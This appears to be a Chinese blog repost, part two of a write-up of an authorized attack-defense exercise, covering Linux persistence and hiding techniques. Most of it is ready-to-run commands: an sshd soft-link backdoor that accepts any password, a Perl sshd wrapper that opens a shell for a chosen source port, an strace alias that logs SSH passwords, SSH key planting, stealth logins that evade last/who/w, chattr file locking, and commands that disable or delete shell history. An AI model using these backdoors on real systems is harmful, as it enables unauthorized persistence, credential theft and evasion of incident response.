全程带阻:记一次授权网络攻防演练(下) https://www.freebuf.com/vuls/211847.html
0X02 权限维持技术SSH后门SSH软连接ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
建立一个软连接 , 然后通过5555端口访问ssh服务
正常的登陆功能
文章插图
添加用户
useradd wing -p wing
ssh连接时密码任意输入 , kali测试时 , root也可以 。
具体原理见Linux的一个后门引发对PAM的探究
SSH WrApperExploit:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
文章插图
然后连接:
socat STDIO TCP4:target_ip:22,sourceport=13377
文章插图
原理:
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候 , 正则匹配会失败 , 于是执行下一句 , 启动/usr/bin/sshd , 这是原始sshd 。原始的sshd监听端口建立了tcp连接后 , 会fork一个子进程处理具体工作 。这个子进程 , 没有什么检验 , 而是直接执行系统默认的位置的/usr/sbin/sshd , 这样子控制权又回到脚本了 。此时子进程标准输入输出已被重定向到套接字 , getpeername能真的获取到客户端的TCP源端口 , 如果是19526就执行sh给个shell 。来自https://www.anquanke.com/post/id/155943#h2-9
SSH key的写入本地先生成ssh key
ssh-keygen -t rsa
文章插图
再把公钥id_rsa.pub发送到目标上
文章插图
同时赋予权限 , 但是权限不能过大 。
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
文章插图
SSH keylogger在当前用户配置文件末尾添加
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
文章插图
Openssh Rookit需要安装环境依赖 , 可用性不是很高 , 参考利用Openssh后门 劫持root密码
SSH隐身登录隐身登录 隐身登录系统 , 不会被last who w等指令检测到
ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host
/bin/bash -if
Linux隐藏技术简单的隐藏文件touch .wing.py
可以找一些目录隐藏自己的恶意文件
文章插图
隐藏权限chattr命令可以给文件加锁 , 防止被删除 , 我们也可以将它利用起来
文章插图
解说:
文章插图
隐藏历史操作命令拿到shell以后 , 开始无痕模式 , 禁用命令历史记录功能 。
set +o history
恢复
set -o history
history
可以看到恢复以后可以正常记录历史命令
文章插图
删除自己的历史命令删除指定的历史记录
sed -i "100,$d" .bash_history
删除100行以后的操作命令
demo
文章插图
端口复用
推荐阅读
- 「PHP编程」安装开发环境太烦?告诉你几个简单方法,分分钟搞定
- 大神告诉你所不知道的域控提权
- 黑客大神熬夜整理的xss各种骚操作
- 剪辑大神都在用的加字幕神器,你知道嘛
- 黑客大神告诉你:Getshell总结
- 黑客大神教你:Weblogic相关漏洞复现
- 2020新个税如何计算,用Python脚本告诉你
- 黑客演示CVE-2020-7961_Liferay Portal反序列化漏洞
- 魔兽世界|毕业多年的学姐告诉你,专科生求职太难,大多只能从事这3种工作
- 春季为何易犯胃病?让专家告诉你